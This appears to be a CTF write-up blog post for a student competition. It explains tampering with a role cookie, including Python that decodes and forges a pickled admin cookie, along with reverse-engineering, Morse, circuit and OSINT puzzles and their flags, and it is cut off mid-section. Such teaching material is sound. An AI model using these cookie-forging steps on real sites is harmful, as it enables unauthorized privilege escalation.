<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>xDU0</title><description>Blog</description><link>https://xdu00.github.io/</link><language>en</language><item><title>Securinets ISGT Guided CTF Writeups</title><link>https://xdu00.github.io/posts/securinets-isgt-guided-ctf-writeups/</link><guid isPermaLink="true">https://xdu00.github.io/posts/securinets-isgt-guided-ctf-writeups/</guid><description>Writeups of challenges in Securinets ISGT Guided CTF.</description><pubDate>Thu, 26 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Web Exploitation&lt;/h1&gt;
&lt;h2&gt;Robots are cool (100 pts)&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://xdu00.github.io/_astro/robotsarecool.zFYey4hv_Z1vzWug.webp&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; very easy  &amp;lt;br&amp;gt;
&lt;strong&gt;Description:&lt;/strong&gt; Search engines don’t crawl everything. 👀  &amp;lt;br&amp;gt;
&lt;strong&gt;Author:&lt;/strong&gt; xDU0&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h3&gt;Goal&lt;/h3&gt;
&lt;p&gt;Find the hidden flag using common web enumeration logic.&lt;/p&gt;
&lt;h3&gt;Key idea&lt;/h3&gt;
&lt;p&gt;Web servers can expose a &lt;code&gt;robots.txt&lt;/code&gt; file, which tells search engines (and anyone curious) which paths should &lt;strong&gt;not&lt;/strong&gt; be crawled. CTFs often use it as a hint to interesting hidden routes.&lt;/p&gt;
&lt;h3&gt;Recon&lt;/h3&gt;
&lt;p&gt;The challenge statement didn’t provide a direct website URL, so the intended step is to check the &lt;strong&gt;CTF platform page&lt;/strong&gt; for the challenge instance/link.&lt;/p&gt;
&lt;p&gt;From the platform, the target domain was:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;https://www.ctfplatform.online/&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Solution&lt;/h3&gt;
&lt;p&gt;Navigate to &lt;code&gt;robots.txt&lt;/code&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;https://www.ctfplatform.online/robots.txt&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It reveals:
&lt;img src=&quot;https://xdu00.github.io/_astro/flagrobots.008zm3Gd_Z1y0pFJ.webp&quot; alt=&quot;alt text&quot; /&gt;
The flag is directly present in the file.&lt;/p&gt;
&lt;h3&gt;Flag :&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;securinetsisgt{R0b0ts_txt_d1sc0v3ry}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;🍪 Cookies (300 pts)&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://xdu00.github.io/_astro/cookies1.1dpYU4H0_Z251c6T.webp&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; &lt;code&gt;easy&lt;/code&gt;  &amp;lt;br&amp;gt;
&lt;strong&gt;Description:&lt;/strong&gt; Welcome to the ISG Cyber student portal.&lt;br /&gt;
Normal users can log in, but only admins can access confidential data.&lt;br /&gt;
Something is wrong with how the website checks user permissions.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Goal:&lt;/strong&gt; Become admin and retrieve the flag.&lt;br /&gt;
&lt;strong&gt;Target:&lt;/strong&gt; &lt;code&gt;cyber-portal-isg.com&lt;/code&gt;&lt;br /&gt;
&lt;strong&gt;Author:&lt;/strong&gt; xDU0&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Goal&lt;/h3&gt;
&lt;p&gt;Gain access to the &lt;strong&gt;Admin&lt;/strong&gt; area by exploiting a broken authorization / client-side trust issue, then grab the flag.&lt;/p&gt;
&lt;h3&gt;What to notice&lt;/h3&gt;
&lt;p&gt;The portal provides valid student credentials directly on the login page (e.g. &lt;code&gt;user / user123&lt;/code&gt;).&lt;br /&gt;
&lt;img src=&quot;https://xdu00.github.io/_astro/portallogin.BfrQRGMU_WY3KQ.webp&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After logging in, clicking &lt;strong&gt;Admin&lt;/strong&gt; results in an “Access Denied / role insufficient” message — meaning the website is checking a “role” somewhere.
&lt;img src=&quot;https://xdu00.github.io/_astro/cantbeadmin.YKBavWKs_2eKOPt.webp&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Step 1 — Log in as a normal user&lt;/h3&gt;
&lt;p&gt;Use the given credentials:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Username:&lt;/strong&gt; &lt;code&gt;user&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Password:&lt;/strong&gt; &lt;code&gt;user123&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You can confirm login succeeded by visiting the dashboard and seeing the navigation links including &lt;strong&gt;Admin&lt;/strong&gt;.&lt;/p&gt;
&lt;h3&gt;Step 2 — Inspect how the role is stored&lt;/h3&gt;
&lt;p&gt;Open DevTools (F12) → &lt;strong&gt;Application&lt;/strong&gt; → &lt;strong&gt;Cookies&lt;/strong&gt; (for the site).&lt;/p&gt;
&lt;p&gt;You’ll find cookies like:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;username = user&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;role = student&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://xdu00.github.io/_astro/cookiesnotmodified.CK0c1MjU_Z1DIf1x.webp&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This is already a big red flag (pun intended): the application is trusting a &lt;strong&gt;client-controlled cookie&lt;/strong&gt; to decide authorization.&lt;/p&gt;
&lt;h3&gt;Step 3 — Privilege escalation via cookie tampering&lt;/h3&gt;
&lt;p&gt;Edit the cookie value:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Change:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;role=student&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;To:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;role=admin&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Then refresh the page and open &lt;code&gt;/admin&lt;/code&gt; (or click &lt;strong&gt;Admin&lt;/strong&gt; again).&lt;/p&gt;
&lt;h3&gt;Result&lt;/h3&gt;
&lt;p&gt;The admin panel becomes accessible and displays the flag.
&lt;img src=&quot;https://xdu00.github.io/_astro/resultcookies1.BY7EtZ7e_Qg5pK.webp&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Vulnerability&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Broken Access Control / Insecure Authorization&lt;/strong&gt;&lt;br /&gt;
The backend trusts a user-controlled value (&lt;code&gt;role&lt;/code&gt;) from the browser cookies instead of enforcing role checks server-side.&lt;/p&gt;
&lt;h3&gt;Flag&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;securinetsisgt{n3v3r_trust_cl1ent_c00k1es}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;🍪 v0.2 (500 pts)&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; The ISG Cyber student portal has been “fixed” after last time’s incident. But not really 👀&lt;br /&gt;
&lt;strong&gt;Goal:&lt;/strong&gt; Become admin and find the flag.&lt;br /&gt;
&lt;strong&gt;Target:&lt;/strong&gt; &lt;code&gt;cyber-portal-isg.com&lt;/code&gt;&lt;br /&gt;
&lt;strong&gt;Author:&lt;/strong&gt; xDU0&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Goal&lt;/h3&gt;
&lt;p&gt;Escalate privileges to &lt;strong&gt;admin&lt;/strong&gt; and retrieve the flag from the admin panel.&lt;/p&gt;
&lt;h3&gt;What changed from v0.1?&lt;/h3&gt;
&lt;p&gt;In the previous version, the role was stored in plaintext cookies (&lt;code&gt;role=student&lt;/code&gt;) and could be edited directly.&lt;/p&gt;
&lt;p&gt;In &lt;strong&gt;v0.2&lt;/strong&gt;, the role is no longer readable—because it’s stored as a &lt;strong&gt;serialized object&lt;/strong&gt; inside the cookie.&lt;/p&gt;
&lt;h3&gt;Recon&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Log in as the provided user (same as before).&lt;/li&gt;
&lt;li&gt;Open DevTools → &lt;strong&gt;Application&lt;/strong&gt; → &lt;strong&gt;Cookies&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;You’ll see a cookie value that looks like Base64:&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://xdu00.github.io/_astro/cookie2inspect.Bm6ZNdY1_lajGX.webp&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Identify the format (Pickle)&lt;/h3&gt;
&lt;p&gt;Decode the Base64 and check the first bytes.&lt;/p&gt;
&lt;p&gt;A Python Pickle (protocol 4) starts with:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x80 0x04&lt;/code&gt;  → in Python: &lt;code&gt;b&quot;\x80\x04&quot;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So if the decoded bytes begin with &lt;code&gt;b&quot;\x80\x04&quot;&lt;/code&gt;, it’s very likely a pickle payload.&lt;/p&gt;
&lt;h3&gt;Step 1 — Decode the cookie (Base64 → Pickle → Python object)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import base64
import pickle
import urllib.parse

cookie = &quot;gASVKAAAAAAAAAB9lCiMCHVzZXJuYW1llIwEdXNlcpSMBHJvbGWUjAdzdHVkZW50lHUu&quot;  # cookie value

cookie = urllib.parse.unquote(cookie)
data = base64.b64decode(cookie)

print(data[:10])  # should start with b&apos;\x80\x04&apos;
obj = pickle.loads(data, encoding=&quot;latin1&quot;)

print(obj)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Typical output:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;b&apos;\x80\x04\x95(\x00\x00\x00\x00\x00\x00&apos;
{&apos;username&apos;: &apos;user&apos;, &apos;role&apos;: &apos;student&apos;}`
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Step 2 — Modify role and re-encode it back into a cookie&lt;/h3&gt;
&lt;p&gt;Create a new object with admin role, then pickle + base64 encode it:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import base64
import pickle

obj = {&apos;username&apos;: &apos;user&apos;, &apos;role&apos;: &apos;admin&apos;}

payload = pickle.dumps(obj, protocol=4)
new_cookie = base64.b64encode(payload).decode()

print(new_cookie)

&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Step 3 — Replace cookie in the browser&lt;/h3&gt;
&lt;p&gt;DevTools → Application → Cookies&lt;/p&gt;
&lt;p&gt;Replace the original cookie value with your newly generated one&lt;/p&gt;
&lt;p&gt;Refresh the page and go to /admin
&lt;img src=&quot;https://xdu00.github.io/_astro/resultcookies2.DpdYKEkt_Z15zybQ.webp&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Result&lt;/h3&gt;
&lt;p&gt;You now have admin access, and the page reveals the flag.&lt;/p&gt;
&lt;h3&gt;Vulnerability&lt;/h3&gt;
&lt;p&gt;This is still broken access control: the server is trusting client-side data to decide authorization.&lt;/p&gt;
&lt;p&gt;Even if it’s “encoded” or “serialized”, it’s still fully controlled by the user — encoding ≠ security.&lt;/p&gt;
&lt;h3&gt;Flag&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;securinetsisgt{p1ckled_c00k13s_ar3_d4ng3r0us!}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h1&gt;Reverse Engineering&lt;/h1&gt;
&lt;h2&gt;Babyrev (475 pts) [easy]&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://xdu00.github.io/_astro/rev.iQSkw7ne_Z1qCoAH.webp&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; You are given a binary that asks for a password.&lt;br /&gt;
Reverse the binary, analyze how the input is checked in memory, and provide the correct password to obtain the flag.&lt;br /&gt;
&lt;strong&gt;Author:&lt;/strong&gt; xDU0&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Goal&lt;/h3&gt;
&lt;p&gt;Find the correct &lt;strong&gt;password&lt;/strong&gt; to make the program print the flag.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;Step 1 — Identify the binary&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;└─$ file chall
chall: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=9e56bd6caaa062a38d7a56d788f9a77bd569e66f, for GNU/Linux 3.2.0, stripped
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So it’s a Linux x64 binary and stripped (no function names), but still easy to analyze.&lt;/p&gt;
&lt;h3&gt;Step 2 — Quick recon (strings)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;┌──(duo㉿xDU0)-[/]
└─$ strings -a chall
o/lib64/ld-linux-x86-64.so.2
mgUa
fgets
stdin
puts
putchar
strlen
strcspn
__libc_start_main
__cxa_finalize
printf
libc.so.6
GLIBC_2.34
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
PTE1
u+UH
Guess the password
ghaaaaaalt
;*3$&quot;
GCC: (Debian 15.2.0-7) 15.2.0
.shstrtab
.note.gnu.property
.note.gnu.build-id
.interp
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.note.ABI-tag
.init_array
.fini_array
.dynamic
.got.plt
.data
.bss
.comment
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This shows the prompt and the “wrong password” message, but not the password/flag directly.&lt;/p&gt;
&lt;h3&gt;Step 3 — Disassemble and locate the password check&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; You can use &lt;strong&gt;any disassembler/decompiler&lt;/strong&gt;, not only Ghidra.&lt;br /&gt;
(Ghidra, IDA, Binary Ninja, Cutter/radare2, Hopper… all work fine.)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;1) Import &amp;amp; analyze&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;File → New Project&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Import the binary&lt;/li&gt;
&lt;li&gt;Run &lt;strong&gt;Auto-Analysis&lt;/strong&gt; (default settings)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2) Locate the main logic&lt;/h3&gt;
&lt;p&gt;A fast way is:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Search → For Strings…&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Find the prompt string (the one printed before reading input)&lt;/li&gt;
&lt;li&gt;Follow &lt;strong&gt;References&lt;/strong&gt; to reach the function that handles input.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In this binary, the relevant function is:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;FUN_00101189&lt;/code&gt;
&lt;img src=&quot;https://xdu00.github.io/_astro/ghidra.DlfIG4Q-_29rdj5.webp&quot; alt=&quot;alt text&quot; /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3) Understand the password check (Decompiler)&lt;/h3&gt;
&lt;p&gt;In the decompiler, &lt;code&gt;FUN_00101189&lt;/code&gt; does:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Prints a prompt (&lt;code&gt;printf&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Reads input (&lt;code&gt;fgets&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Removes the newline (&lt;code&gt;strcspn&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Checks length (&lt;code&gt;strlen&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Verifies characters one by one&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The important part:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sVar1 = strlen(local_48);
if (sVar1 == 6 &amp;amp;&amp;amp;
    local_48[0] == &apos;s&apos; &amp;amp;&amp;amp;
    local_48[1] == &apos;k&apos; &amp;amp;&amp;amp;
    local_48[2] == &apos;b&apos; &amp;amp;&amp;amp;
    local_48[3] == &apos;i&apos; &amp;amp;&amp;amp;
    local_44    == &apos;d&apos; &amp;amp;&amp;amp;
    local_43    == &apos;i&apos;)
{
    // prints flag with putchar(...)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Why are the last two chars local_44 and local_43?&lt;/h4&gt;
&lt;p&gt;Ghidra shows local_48 as char[4], but the program reads up to 0x32 bytes into it:&lt;/p&gt;
&lt;p&gt;fgets(local_48, 0x32, stdin);&lt;/p&gt;
&lt;p&gt;So the input spills into adjacent stack bytes (local_44, local_43). That’s why the last two checks appear outside local_48.&lt;/p&gt;
&lt;h3&gt;4) Extract the password&lt;/h3&gt;
&lt;p&gt;From the comparisons, the 6 required characters are:&lt;/p&gt;
&lt;p&gt;✅ Password: &lt;code&gt;skbidi&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://xdu00.github.io/_astro/cracked.BmaxIOAs_Z1gHqXu.webp&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Flag&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Securinetsisgt{f1rst_rev942817}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h1&gt;Hardware&lt;/h1&gt;
&lt;h2&gt;Blinking Secrets (300 pts)&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://xdu00.github.io/_astro/hardware1.DUlcXtqj_12pL4H.webp&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; Communication doesn’t always need wires. Sometimes, light is enough.&lt;br /&gt;
&lt;strong&gt;Flag format:&lt;/strong&gt; &lt;code&gt;securinetsisgt{the_string_you_found}&lt;/code&gt;&lt;br /&gt;
&lt;strong&gt;Link:&lt;/strong&gt; https://wokwi.com/projects/451983131058972673&lt;br /&gt;
&lt;strong&gt;Author:&lt;/strong&gt; xDU0&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Idea&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://xdu00.github.io/_astro/arduino.D6EWdcpK_Zfo7vz.webp&quot; alt=&quot;alt text&quot; /&gt;
The Wokwi project blinks an LED on pin &lt;strong&gt;13&lt;/strong&gt; using two pulse lengths:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;t1 = 200ms&lt;/code&gt; (short)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;t2 = 600ms&lt;/code&gt; (long)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And it uses gaps that match &lt;strong&gt;Morse code timing&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;g1 = 200ms&lt;/code&gt; gap between symbols (dot/dash)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;g2 = 600ms&lt;/code&gt; gap between letters&lt;/li&gt;
&lt;li&gt;&lt;code&gt;g3 = 1400ms&lt;/code&gt; gap between words :contentReference[oaicite:0]{index=0}&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;short blink (&lt;code&gt;t1&lt;/code&gt;) = dot &lt;code&gt;.&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;long blink (&lt;code&gt;t2&lt;/code&gt;) = dash &lt;code&gt;-&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Read the blink sequence&lt;/h3&gt;
&lt;p&gt;In &lt;code&gt;loop()&lt;/code&gt;, the program calls &lt;code&gt;s(t1)&lt;/code&gt; / &lt;code&gt;s(t2)&lt;/code&gt; in groups separated by &lt;code&gt;delay(g2)&lt;/code&gt; (new letter) and &lt;code&gt;delay(g3)&lt;/code&gt; (new word). :contentReference[oaicite:1]{index=1}&lt;/p&gt;
&lt;p&gt;Decoded letter by letter:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;--&lt;/code&gt; → &lt;strong&gt;M&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;---&lt;/code&gt; → &lt;strong&gt;O&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.-.&lt;/code&gt; → &lt;strong&gt;R&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;...&lt;/code&gt; → &lt;strong&gt;S&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.&lt;/code&gt; → &lt;strong&gt;E&lt;/strong&gt;
(word gap)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.-&lt;/code&gt; → &lt;strong&gt;A&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--.&lt;/code&gt; → &lt;strong&gt;G&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.-&lt;/code&gt; → &lt;strong&gt;A&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;..&lt;/code&gt; → &lt;strong&gt;I&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-.&lt;/code&gt; → &lt;strong&gt;N&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Message: &lt;strong&gt;&lt;code&gt;MORSEAGAIN&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;Flag&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;securinetsisgt{morseagain}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Circuit (460 pts)&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://xdu00.github.io/_astro/circuits.BUb6mZxI_ZSiey3.webp&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; Follow the blue paths from the switches to the lamp. Your goal is simple: flip the right switches to turn the lamp on.&lt;br /&gt;
&lt;strong&gt;Format:&lt;/strong&gt; &lt;code&gt;securinetsisgt{0101...}&lt;/code&gt;&lt;br /&gt;
&lt;strong&gt;Author:&lt;/strong&gt; xDU0&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Setup&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Extract the provided challenge zip.&lt;/li&gt;
&lt;li&gt;Go to the &lt;code&gt;bin/&lt;/code&gt; folder and run &lt;code&gt;minetest.exe&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;In the main menu, select the world &lt;strong&gt;&lt;code&gt;test&lt;/code&gt;&lt;/strong&gt; and click &lt;strong&gt;Play Game&lt;/strong&gt;.
&lt;img src=&quot;https://xdu00.github.io/_astro/world.DOJS2USQ_Z2hu8Iw.webp&quot; alt=&quot;alt text&quot; /&gt;
Inside the world, you’ll find a logic circuit made of:
(whole circuit view)
&lt;img src=&quot;https://xdu00.github.io/_astro/allcircuit.FjHA4azA_5bEH8.webp&quot; alt=&quot;alt text&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Levers&lt;/strong&gt; (inputs) named &lt;strong&gt;A → L&lt;/strong&gt; (the labels are placed near each lever)
&lt;img src=&quot;https://xdu00.github.io/_astro/levers.D6g6UJDb_Z16GscG.webp&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Logic gates&lt;/strong&gt; (NOT / AND)
&lt;img src=&quot;https://xdu00.github.io/_astro/ports.BrldlmZZ_2cuKJ4.webp&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;A &lt;strong&gt;lamp&lt;/strong&gt; (output)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Goal&lt;/h3&gt;
&lt;p&gt;Turn the &lt;strong&gt;lamp ON&lt;/strong&gt; by setting the correct lever positions.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;Quick logic gates recap&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;NOT gate&lt;/strong&gt; (inverts input):&lt;br /&gt;
&lt;img src=&quot;https://xdu00.github.io/_astro/NOT_Logic_Gate.Gx810nXY_1bAHyo.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;AND gate&lt;/strong&gt; (1 only if both are 1):&lt;br /&gt;
&lt;img src=&quot;https://xdu00.github.io/_astro/AND_Logic_Gate.lQK28_z__12nASW.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;Understanding the circuit&lt;/h3&gt;
&lt;h4&gt;Lever values&lt;/h4&gt;
&lt;p&gt;Each lever represents a single bit:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;OFF / Down&lt;/strong&gt; → &lt;code&gt;0&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ON / Up&lt;/strong&gt; → &lt;code&gt;1&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Gates used&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;NOT&lt;/strong&gt; gate: inverts the input (&lt;code&gt;0→1&lt;/code&gt;, &lt;code&gt;1→0&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AND&lt;/strong&gt; gate: outputs &lt;code&gt;1&lt;/code&gt; only if both inputs are &lt;code&gt;1&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The blue wiring helps you trace which signals feed each gate. The intended solving method is to follow the paths and deduce which inputs must be &lt;code&gt;1&lt;/code&gt; (and which must be &lt;code&gt;0&lt;/code&gt; when they pass through a NOT gate) until the final output becomes true and the lamp lights up.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://xdu00.github.io/_astro/lighton.BJl3i9Of_Z10yIzp.webp&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;Solution&lt;/h3&gt;
&lt;p&gt;After analyzing the paths and flipping the levers accordingly, the lamp turns &lt;strong&gt;ON&lt;/strong&gt; when the inputs (A → L) form the following binary sequence:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;101101001011&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Flag&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;securinetsisgt{101101001011}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h1&gt;OSINT&lt;/h1&gt;
&lt;h2&gt;Where the Sea Once Ruled (110 pts)&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://xdu00.github.io/_astro/osint.B04IIxDp_1rwnoO.webp&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; A place once ruled the sea, now remembered in fragments.&lt;br /&gt;
Three words are enough to name it, if you know how the world can be divided.&lt;br /&gt;
The flag is the place where the picture is taken &lt;strong&gt;but not exactly&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Hint:&lt;/strong&gt; where there&apos;s a scenic spot named &lt;strong&gt;&quot;point of ..&quot;&lt;/strong&gt;&lt;br /&gt;
&lt;strong&gt;Format:&lt;/strong&gt; &lt;code&gt;securinetsisgt{word.word.word}&lt;/code&gt;&lt;br /&gt;
&lt;strong&gt;Author:&lt;/strong&gt; xDU0&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Goal&lt;/h3&gt;
&lt;p&gt;Identify the location shown in the photo, then convert the (approximate) spot into a &lt;strong&gt;what3words&lt;/strong&gt; address.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;Step 1 — Identify the place (Google Maps)&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://xdu00.github.io/_astro/image.kdR-39Zj_Z16ATbO.webp&quot; alt=&quot;alt text&quot; /&gt;
From the image:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;small fishing boats on calm water&lt;/li&gt;
&lt;li&gt;Mediterranean/North African vibe&lt;/li&gt;
